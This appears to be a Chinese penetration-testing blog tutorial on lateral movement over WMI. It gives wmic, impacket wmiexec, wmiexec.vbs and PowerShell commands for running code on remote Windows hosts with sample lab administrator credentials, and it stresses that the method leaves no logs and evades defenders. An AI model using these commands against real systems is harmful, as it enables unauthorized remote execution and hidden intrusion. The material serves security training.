WMI的使用

WMI

    • 介绍
    • 基本命令
    • impacket工具包中的wmiexec
    • wmiexec.vbs
    • Invoke-WmiCommand
    • Invoke-WMIMethod

介绍

WMI的全名为"Windows Management Instrumentation"。从win8后,Windows操作系统都支持WMI,WMI可以在本地或者远程管理计算机系统。

自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是乎攻击者转向使用WMI进行横向移动。在渗透时发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。因为这个过程不会记录日志,所以对蓝队来说大大增加了溯源的成本。对攻击者来说,被发现的可能性降低,隐蔽性提高。很多APT组织现在都喜欢使用WMI进行攻击。

基本命令

首先我们执行如下命令,将输出结果保存在目标机器对应的C盘目录下

wmic /node:192.168.108.101 /user:Administrator /password:Admin12345 process call create "cmd.exe" /c ipconfig >C:\ip.txt

WMI的使用_第1张图片
然后我们建立IPC共享命名管道,用于读取执行结果

net use \\192.168.108.101\ipc$ "Admin12345" /user:Administrator

在这里插入图片描述

type \\192.168.108.101\C$\ip.txt

WMI的使用_第2张图片
其实接下来的话我们都可以使用wmic进行远程执行命令,但是目标服务器需要开放135端口,wmic会以管理员权限在远程系统中执行命令。如果目标服务器开了防火墙,wmic将无法进行连接。除此之外,单纯使用wmic命令它没有回显,需要配合IPC$命名管道和type命令进行文件内容的查看。若我们执行的是恶意程序,将不会留下日志信息。

impacket工具包中的wmiexec

在kali上安装impacket工具包,我们使用wmiexec.py这个利用脚本获取目标系统的Shell。该方法主要是从Linux向Windows进行横向渗透测试时使用

python3 wmiexec.py administrator:Admin12345@192.168.108.103

WMI的使用_第3张图片

wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell。

cscript.exe //nologo wmiexec.vbs /shell 192.168.108.103 administrator Admin12345

WMI的使用_第4张图片
对于运行时间较长的命令,需要添加-wait 5000或者更长的时间参数。在运行nc等不需要输出结果但需要一直运行的进程时,使用-persist参数,就不需要使用taskkill命令来远程结束进程了。

Invoke-WmiCommand

该脚本调用WMI来远程执行命令,本质上还是在利用WMI。这里实施成功的权限为RemoteSigned

//目标系统用户名
$User="hacke.testlab\administrator"
//目标系统密码
$Password=ConvertTo-SecureString -String "Admin12345" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//远程执行命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.108.103
//将结果输出到屏幕上
$Remote.PayloadOutput

WMI的使用_第5张图片

Invoke-WMIMethod

利用powershell自带的Invoke-WMIMethod,可以在远程系统中执行命令和指定程序。这个命令的好处是不会收到策略权限的限制,是权限持久化的较好选择。

//目标系统用户名
$User="hacke.testlab\administrator"
//目标系统密码
$Password=ConvertTo-SecureString -String "Admin12345" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//在远程系统中运行"计算器"程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.108.103" -Credential $Cred

WMI的使用_第6张图片

你可能感兴趣的:(横向移动,内网渗透,渗透测试,网络安全)